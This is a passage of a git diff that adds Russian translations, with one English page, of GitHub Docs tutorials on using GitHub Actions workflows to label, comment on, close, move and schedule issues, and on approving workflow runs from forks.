действия, если проблема назначена или имеет определенную метку, см. в [документации по действию `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). +- Дополнительные сведения о различных событиях, которые могут активировать рабочий процесс, см. в статье "[События, которые активируют рабочие процессы](/actions/reference/events-that-trigger-workflows#issues)". Действие `andymckay/labeler` работает только с событиями `issues`, `pull_request` или `project_card`. +- [Выполните поиск в GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code), чтобы найти примеры рабочих процессов, использующих это действие. diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md new file mode 100644 index 000000000000..90d1341c16c6 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md @@ -0,0 +1,84 @@ +--- +title: Закрытие неактивных проблем +shortTitle: Close inactive issues +intro: 'Вы можете использовать {% data variables.product.prodname_actions %}, чтобы добавлять комментарии о проблемах или закрывать проблемы, которые были неактивны в течение определенного периода времени.' +redirect_from: + - /actions/guides/closing-inactive-issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +ms.openlocfilehash: 13471d0e7e786f4ba107cfcc10c0a2c5f4b8818e +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010063' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как использовать [действие `actions/stale`](https://github.com/marketplace/actions/close-stale-issues) для добавления комментариев и закрытия проблем, которые были неактивны в течение определенного периода времени. Например, если проблема была неактивна в течение 30 дней, можно оставить комментарий, чтобы побудить участников к действию. Если через 14 дней после этого никакие действия выполнены не будут, можно закрыть проблему. + +В этом руководстве вы сначала создадите файл рабочего процесса, использующий [действие `actions/stale`](https://github.com/marketplace/actions/close-stale-issues). Затем вы настроите рабочий процесс в соответствии с вашими потребностями. + +## Создание рабочего процесса + +1. {% data reusables.actions.choose-repo %} +2. {% data reusables.actions.make-workflow-file %} +3. Скопируйте следующее содержимое YAML в файл рабочего процесса. + + ```yaml{:copy} + name: Close inactive issues + on: + schedule: + - cron: "30 1 * * *" + + jobs: + close-issues: + runs-on: ubuntu-latest + permissions: + issues: write + pull-requests: write + steps: + - uses: {% data reusables.actions.action-stale %} + with: + days-before-issue-stale: 30 + days-before-issue-close: 14 + stale-issue-label: "stale" + stale-issue-message: "This issue is stale because it has been open for 30 days with no activity." + close-issue-message: "This issue was closed because it has been inactive for 14 days since being marked as stale." + days-before-pr-stale: -1 + days-before-pr-close: -1 + repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ``` + +4. Настройте параметры в файле рабочего процесса. + - Измените значение для `on.schedule`, чтобы определить время выполнения рабочего процесса. В приведенном выше примере рабочий процесс будет выполняться каждый день в 1:30 (в формате UTC). Дополнительные сведения о запланированных рабочих процессах см. в статье "[Запланированные события](/actions/reference/events-that-trigger-workflows#scheduled-events)". + - Измените значение для `days-before-issue-stale` на количество дней бездействия до того, как действие `actions/stale` применит метку к проблеме. Чтобы это действие никогда не применяло метки к проблемам, задайте значение `-1`. + - Измените значение для `days-before-issue-close` на количество дней бездействия до того, как действие `actions/stale` закроет проблему. Чтобы это действие никогда не закрывало проблемы, задайте значение `-1`. + - Измените значение для `stale-issue-label` на метку, применяемую к проблемам, которые были неактивны в течение указанного времени, указанного `days-before-issue-stale`. + - Измените значение `stale-issue-message` на комментарий, добавляемый к проблемам, которые помечены действием `actions/stale`. + - Измените значение для `close-issue-message` на комментарий, добавляемый к проблемам, которые закрыты действием `actions/stale`. +5. {% data reusables.actions.commit-workflow %} + +## Ожидаемые результаты + +В зависимости от параметра `schedule` (например, каждый день в 1:30 (в формате UTC)) рабочий процесс будет обнаруживать проблемы, которые были неактивны в течение указанного периода времени, и будет добавлять указанный комментарий и метку. Кроме того, рабочий процесс будет закрывать все ранее помеченные проблемы, если в течение указанного периода времени не произошло никаких дополнительных действий. + +{% data reusables.actions.schedule-delay %} + +Чтобы периодически отслеживать выполнение рабочего процесса, можно просматривать историю его выполнений. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". + +Во избежание превышения предела скорости, этот рабочий процесс будет помечать и (или) закрывать только 30 проблем за раз. Это поведение можно настроить с помощью параметра `operations-per-run`. Дополнительные сведения см. в [документации по действию `actions/stale`](https://github.com/marketplace/actions/close-stale-issues). + +## Дальнейшие действия + +- Подробные сведения о том, что можно сделать с помощью действия `actions/stale` (например, закрывать неактивные запросы на вытягивание, игнорировать проблем с определенными метками или вехами, а также проверять проблемы только с определенными метками), см. в [документации по действию `actions/stale`](https://github.com/marketplace/actions/close-stale-issues). +- [Выполните поиск в GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code), чтобы найти примеры рабочих процессов, использующих это действие. diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md new file mode 100644 index 000000000000..f624943e467f --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md @@ -0,0 +1,80 @@ +--- +title: 'Комментирование проблемы, к которой добавлена метка' +intro: 'Вы можете использовать {% data variables.product.prodname_actions %}, чтобы автоматически комментировать проблемы при применении определенной метки.' +redirect_from: + - /actions/guides/commenting-on-an-issue-when-a-label-is-added +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +shortTitle: Add label to comment on issue +ms.openlocfilehash: 02484ffce5af753f06ac0523ef8e6ab853f47454 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147409045' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как использовать [действие `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment) для комментирования проблемы, к которой применена определенная метка. Например, если к проблеме добавлена метка `help-wanted`, можно добавить комментарий, чтобы пригласить участников к работе над проблемой. + +В этом руководстве вы сначала создадите файл рабочего процесса, использующий [действие `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment). Затем вы настроите рабочий процесс в соответствии с вашими потребностями. + +## Создание рабочего процесса + +1. {% data reusables.actions.choose-repo %} +2. {% data reusables.actions.make-workflow-file %} +3. Скопируйте следующее содержимое YAML в файл рабочего процесса. + + ```yaml{:copy} +{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} + +{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %} + + name: Add comment + on: + issues: + types: + - labeled + jobs: + add-comment: + if: github.event.label.name == 'help-wanted' + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Add comment + uses: peter-evans/create-or-update-comment@a35cf36e5301d70b76f316e867e7788a55a31dae + with: + issue-number: {% raw %}${{ github.event.issue.number }}{% endraw %} + body: | + This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles: + ``` + +4. Настройте параметры в файле рабочего процесса. + - Замените `help-wanted` в `if: github.event.label.name == 'help-wanted'` меткой, в соответствии с которой требуется выполнять определенное действие. Если вы хотите работать в соответствии с несколькими метками, разделите условия с помощью `||`. Например, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` будет добавлять комментарий при каждом добавлении меток `bug` или `fix me` к проблеме. + - Измените значение `body` на комментарий, который нужно добавить. Поддерживается GitHub Flavored Markdown. Дополнительные сведения о Markdown см. в статье "[Базовый синтаксис записи и форматирования](/github/writing-on-github/basic-writing-and-formatting-syntax)". +5. {% data reusables.actions.commit-workflow %} + +## Тестирование рабочего процесса + +Этот рабочий процесс будет выполняться при каждом добавлении метки к проблеме в репозитории. Если добавленная метка является одной из указанных в файле рабочего процесса, действие `peter-evans/create-or-update-comment` добавит к проблеме указанный комментарий. + +Протестируйте рабочий процесс, применив указанную метку к проблеме. + +1. Откройте проблему в репозитории. Дополнительные сведения см. в статье "[Создание проблемы](/github/managing-your-work-on-github/creating-an-issue)". +2. Добавьте к проблеме указанную метку в файле рабочего процесса. Дополнительные сведения см. в статье "[Управление метками](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)". +3. Чтобы просмотреть выполнение рабочего процесса, которое было активировано путем применения метки к проблеме, просмотрите журнал выполнений рабочего процесса. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". +4. Когда рабочий процесс завершится, к помеченной проблеме должен быть добавлен комментарий. + +## Дальнейшие действия + +- Дополнительные сведения о задачах, которые можно выполнить с помощью действия `peter-evans/create-or-update-comment`, например добавление реакций, см. в [документации по действию `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment). diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/index.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/index.md new file mode 100644 index 000000000000..04d94840a8be --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/index.md @@ -0,0 +1,25 @@ +--- +title: Управление проблемами и запросами на вытягивание +shortTitle: Manage issues and pull requests +intro: 'Вы можете автоматически управлять проблемами и запросами на вытягивание с помощью рабочих процессов {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /using-github-actions-for-project-management + - /adding-labels-to-issues + - /closing-inactive-issues + - /commenting-on-an-issue-when-a-label-is-added + - /moving-assigned-issues-on-project-boards + - /removing-a-label-when-a-card-is-added-to-a-project-board-column + - /scheduling-issue-creation +ms.openlocfilehash: 96d41cc55e468ea041815a36b15a227c7f49b54e +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010024' +--- + diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md new file mode 100644 index 000000000000..84c4fdbf1941 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md @@ -0,0 +1,79 @@ +--- +title: Moving assigned issues on project boards +intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.' +redirect_from: + - /actions/guides/moving-assigned-issues-on-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +shortTitle: Move assigned issues +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board. + +In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs. + +## Creating the workflow + +1. {% data reusables.actions.choose-repo %} +2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)." +3. {% data reusables.actions.make-workflow-file %} +4. Copy the following YAML contents into your workflow file. + + ```yaml{:copy} +{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} + +{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %} + + name: Move assigned card + on: + issues: + types: + - assigned + jobs: + move-assigned-card: + runs-on: ubuntu-latest + steps: + - uses: alex-page/github-project-automation-plus@5bcba1c1c091a222584d10913e5c060d32c44044 + with: + project: Docs Work + column: In Progress + repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %} + ``` + +5. Customize the parameters in your workflow file: + - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name. + - Change the value for `column` to the name of the column where you want issues to move when they are assigned. + - Change the value for `repo-token`: + 1. Create a {% data variables.product.pat_v1 %} with the `repo` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + 1. Store this {% data variables.product.pat_generic %} as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)." + 1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret. +6. {% data reusables.actions.commit-workflow %} + +## Testing the workflow + +Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board. + +If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or personal account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column. + +Test your workflow by assigning an issue in your repository. + +1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)." +2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)." +3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." +4. When the workflow completes, the issue that you assigned should be added to the specified project board column. + +## Next steps + +- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation). diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md new file mode 100644 index 000000000000..6bf73a24bcfb --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md @@ -0,0 +1,86 @@ +--- +title: Удаление метки при добавлении карточки в столбец доски проекта +intro: 'Вы можете использовать {% data variables.product.prodname_actions %} для автоматического удаления метки при добавлении проблемы или запроса на вытягивание в определенный столбец на доске проекта.' +redirect_from: + - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +shortTitle: Remove label when adding card +ms.openlocfilehash: c23edb495719c7059c9c5d8dab1c29acb0e78cb6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410110' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как использовать [действие `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) с условием для удаления метки из проблем и запросов на вытягивание, добавленных в определенный столбец на доске проекта. Например, можно удалять метку `needs review` при перемещении карточки проекта в столбец `Done`. + +В этом руководстве вы сначала создадите файл рабочего процесса, использующий [действие `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Затем вы настроите рабочий процесс в соответствии с вашими потребностями. + +## Создание рабочего процесса + +1. {% data reusables.actions.choose-repo %} +2. Выберите проект, принадлежащий репозиторию. Этот рабочий процесс нельзя использовать с проектами, принадлежащими пользователям или организациям. Вы можете использовать существующий проект или создать новый. Дополнительные сведения о создании проекта см. в статье [Создание доски проекта](/github/managing-your-work-on-github/creating-a-project-board). +3. {% data reusables.actions.make-workflow-file %} +4. Скопируйте следующее содержимое YAML в файл рабочего процесса. + ```yaml{:copy} +{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} + +{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %} + + name: Remove labels + on: + project_card: + types: + - moved + jobs: + remove_labels: + if: github.event.project_card.column_id == '12345678' + runs-on: ubuntu-latest + permissions: + issues: write + pull-requests: write + steps: + - name: remove labels + uses: andymckay/labeler@5c59dabdfd4dd5bd9c6e6d255b01b9d764af4414 + with: + remove-labels: "needs review" + repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ``` + +5. Настройте параметры в файле рабочего процесса. + - В `github.event.project_card.column_id == '12345678'` замените `12345678` на идентификатор столбца, в котором нужно удалять метки из проблем и запросов на вытягивание, перемещаемых в этот столбец. + + Чтобы найти идентификатор столбца, перейдите к доске проекта. Рядом с заголовком столбца щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} и выберите **Копировать ссылку на столбец**. Идентификатор столбца — это номер в конце скопированной ссылки. Например, `24687531` — это идентификатор столбца для `https://github.com/octocat/octo-repo/projects/1#column-24687531`. + + Если вы хотите выполнять действия сразу с несколькими столбцами, перечислите условия через `||`. Например, условие `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` будет выполняться при каждом добавлении карточки проекта в столбец `12345678` или в столбец `87654321`. Столбцы могут находиться на разных досках проектов. + - Измените значение `remove-labels` на список меток, которые необходимо удалять из проблем или запросов на вытягивание при их перемещении в указанные столбцы. Несколько меток следует разделять запятыми. Например, `"help wanted, good first issue"`. Дополнительные сведения о метках см. в статье [Управление метками](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests). +6. {% data reusables.actions.commit-workflow %} + +## Тестирование рабочего процесса + +Этот рабочий процесс будет выполняться при перемещении любой карточки проекта в репозитории. Если карточка является проблемой или запросом на вытягивание и перемещается в указанный вами столбец, то рабочий процесс удалит указанные метки из такой проблемы или запроса на вытягивание. Карточки, представляющие собой примечания, останутся без изменений. + +Протестируйте рабочий процесс, переместив проблему в проекте в целевой столбец. + +1. Откройте проблему в репозитории. Дополнительные сведения см. в статье "[Создание проблемы](/github/managing-your-work-on-github/creating-an-issue)". +2. Добавьте метки в проблему, которую рабочий процесс должен удалить. Дополнительные сведения см. в статье "[Управление метками](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)". +3. Добавьте проблему в столбец проекта, указанный в файле рабочего процесса. Дополнительные сведения см. в разделе [Добавление проблем и запросов на вытягивание на доску проекта](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board). +4. Чтобы увидеть выполнение рабочего процесса, который запускается при добавлении проблемы в проект, просмотрите журнал выполнений рабочего процесса. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". +5. После завершения рабочего процесса указанные метки в проблеме, добавленной в столбец проекта, должна быть удалены. + +## Дальнейшие действия + +- Дополнительные сведения о задачах, которые можно выполнять с помощью действия `andymckay/labeler`, таких как добавление меток или пропуск этого действия в случае, если проблема назначена или имеет определенную метку, см. в [документации по действию `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). +- [Выполните поиск в GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code), чтобы найти примеры рабочих процессов, использующих это действие. diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md new file mode 100644 index 000000000000..29c409dd6d03 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md @@ -0,0 +1,99 @@ +--- +title: Планирование создания проблем +shortTitle: Schedule issue creation +intro: 'Вы можете использовать {% data variables.product.prodname_actions %}, чтобы регулярно создавать проблему для таких задач, как ежедневные совещания или ежеквартальные проверки.' +redirect_from: + - /actions/guides/scheduling-issue-creation +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +ms.openlocfilehash: 11925693d42c354c2a04d0cc198a1a9869c33abc +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010027' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как регулярно создавать проблемы с помощью [действия `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action). Например, вы можете создавать проблему каждую неделю и использовать ее в качестве повестки дня для собрания команды. + +В этом руководстве вы сначала создадите файл рабочего процесса, использующий [действие `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action). Затем вы настроите рабочий процесс в соответствии с вашими потребностями. + +## Создание рабочего процесса + +1. {% data reusables.actions.choose-repo %} +2. {% data reusables.actions.make-workflow-file %} +3. Скопируйте следующее содержимое YAML в файл рабочего процесса. + + ```yaml{:copy} +{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} + +{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %} + + name: Weekly Team Sync + on: + schedule: + - cron: 20 07 * * 1 + + jobs: + create_issue: + name: Create team sync issue + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Create team sync issue + uses: imjohnbo/issue-bot@3daae12aa54d38685d7ff8459fc8a2aee8cea98b + with: + assignees: "monalisa, doctocat, hubot" + labels: "weekly sync, docs-team" + title: "Team sync" + body: | + ### Agenda + + - [ ] Start the recording + - [ ] Check-ins + - [ ] Discussion points + - [ ] Post the recording + + ### Discussion Points + Add things to discuss below + + - [Work this week](https://github.com/orgs/github/projects/3) + pinned: false + close-previous: false + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ``` + +4. Настройте параметры в файле рабочего процесса. + - Измените значение для `on.schedule`, чтобы определить время выполнения рабочего процесса. В приведенном выше примере рабочий процесс будет запускаться каждый день в 7:20 (в формате UTC). Дополнительные сведения о запланированных рабочих процессах см. в статье "[Запланированные события](/actions/reference/events-that-trigger-workflows#scheduled-events)". + - Измените значение `assignees` на список пользователей {% data variables.product.prodname_dotcom %}, которых вы хотите назначить проблеме. + - В качестве значения для `labels` укажите список меток, которые вы хотите применить к проблеме. + - Измените значение `title` на желаемый заголовок проблемы. + - Измените значение `body` на желаемый текст проблемы. С помощью символа `|` можно использовать для этого параметра многострочное значение. + - Если вы хотите закрепить эту проблему в репозитории, задайте для `pinned` значение `true`. Дополнительные сведения о закрепленных проблемах см. в разделе [Закрепление проблемы в репозитории](/articles/pinning-an-issue-to-your-repository). + - Если вы хотите закрывать предыдущую проблему, созданную этим рабочим процессом, при каждом создании новой проблемы, задайте для `close-previous` значение `true`. Рабочий процесс закроет последнюю проблему с метками, определенными в поле `labels`. Чтобы случайно не закрыть не ту проблему, используйте уникальную метку или сочетание меток. +5. {% data reusables.actions.commit-workflow %} + +## Ожидаемые результаты + +На основе параметра `schedule` (например, каждый понедельник в 7:20 UTC) рабочий процесс будет создавать новую проблему с назначенными участниками, метками, заголовком и текстом, которые вы указали. Если для `pinned` задано значение `true`, рабочий процесс закрепит проблему в репозитории. Если для `close-previous` задано значение true, рабочий процесс закроет последнюю проблему с соответствующими метками. + +{% data reusables.actions.schedule-delay %} + +Чтобы периодически отслеживать выполнение рабочего процесса, можно просматривать историю его выполнений. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". + +## Дальнейшие действия + +- Чтобы узнать больше о дополнительных действиях, которые можно выполнить с действием `imjohnbo/issue-bot`, например смена назначенных участников или использование шаблона проблемы, см. [документацию по действию `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action). +- [Выполните поиск в GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code), чтобы найти примеры рабочих процессов, использующих это действие. diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md new file mode 100644 index 000000000000..eec937065b29 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md @@ -0,0 +1,48 @@ +--- +title: Использование GitHub Actions для управления проектами +intro: 'Для автоматизации задач управления проектами можно использовать {% data variables.product.prodname_actions %}.' +redirect_from: + - /actions/guides/using-github-actions-for-project-management +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Project management +shortTitle: Actions for project management +ms.openlocfilehash: 5f5d1cb222824bbb451ad603e35b4986384645e4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116848' +--- +Для автоматизации задач управления проектами можно использовать {% data variables.product.prodname_actions %}, создавая рабочие процессы. Каждый рабочий процесс содержит ряд задач, которые выполняются автоматически при каждом запуске рабочего процесса. Например, можно создать рабочий процесс, который выполняется при каждом создании проблемы, чтобы добавить метку, оставить комментарий и переместить проблему на доску проекта. + +## Когда выполняются рабочие процессы? + +Рабочие процессы можно настроить для выполнения по расписанию или при возникновении события. Например, можно настроить рабочий процесс для выполнения при создании проблемы в репозитории. + +Многие триггеры рабочих процессов полезны для автоматизации управления проектами. + +- Проблема открывается, назначается или помечается. +- Добавляется новый комментарий к проблеме. +- Создается или перемещается карточка проекта. +- Наступает назначенное время. + +Полный список событий, которые можно использовать для активации рабочих процессов, см. в разделе [События, которые активируют рабочие процессы](/actions/reference/events-that-trigger-workflows). + +## Какие действия выполняют рабочие процессы? + +Рабочие процессы могут выполнять множество действий, таких как комментирование проблемы, добавление или удаление меток, перемещение карточек на досках проекта и открытие проблем. + +Чтобы узнать об использовании {% data variables.product.prodname_actions %} для управления проектами, необходимо следовать этим руководствам, включающим в себя примеры рабочих процессов, которые можно адаптировать в соответствии с потребностями. + +- [Добавление меток к проблемам](/actions/guides/adding-labels-to-issues) +- [Удаление метки при добавлении карточки в столбец доски проекта](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column) +- [Перемещение назначенных проблем на досках проектов](/actions/guides/moving-assigned-issues-on-project-boards) +- [Комментирование проблемы, к которой добавлена метка](/actions/guides/commenting-on-an-issue-when-a-label-is-added) +- [Закрытие неактивных проблем](/actions/guides/closing-inactive-issues) +- [Планирование создания проблем](/actions/guides/scheduling-issue-creation) diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-private-forks.md b/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-private-forks.md new file mode 100644 index 000000000000..ae0766ab7f9f --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-private-forks.md @@ -0,0 +1,21 @@ +--- +title: Утверждение запусков рабочих процессов из частных вилок +intro: 'Когда пользователь, не имеющий доступа на запись, отправляет запрос на вытягивание в частный репозиторий, может потребоваться утвердить любой запуск рабочего процесса.' +permissions: Maintainers with write access to a repository can approve workflow runs. +versions: + feature: actions-private-fork-workflow-approvals +shortTitle: Approve private fork runs +ms.openlocfilehash: 79b486123b62ee590e833e5c39bb7333a38c49d2 +ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163843' +--- +## Сведения о выполнении рабочего процесса из частных вилок + +{% data reusables.actions.private-repository-forks-overview %} Дополнительные сведения см. в разделе [Применение политики для вилки запросов на вытягивание в частных репозиториях](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories). + +## Утверждение выполнения рабочего процесса в запросе на вытягивание из частной вилки + +{% data reusables.actions.workflows.approve-workflow-runs %} diff --git a/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md new file mode 100644 index 000000000000..24ee02937f44 --- /dev/null +++ b/translations/ru-RU/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md @@ -0,0 +1,25 @@ +--- +title: 'Утверждение рабочих процессов, запускаемых из общедоступных вилок' +intro: 'Когда сторонний участник отправляет запрос на вытягивание в общедоступный репозиторий, ответственному специалисту с доступом на запись может потребоваться утверждать все запуски рабочего процесса.' +versions: + fpt: '*' + ghec: '*' +shortTitle: Approve public fork runs +ms.openlocfilehash: 74918a7d2e0081d6332ab267ef18ae148a2cff5e +ms.sourcegitcommit: 73b91dd4cdf592eadec4252319379d6fbe92858e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164126' +--- +## Сведения о запуске рабочих процессов из общедоступных вилок + +{% data reusables.actions.workflow-run-approve-public-fork %} + +Вы можете настроить требования к утверждению рабочих процессов для [репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), 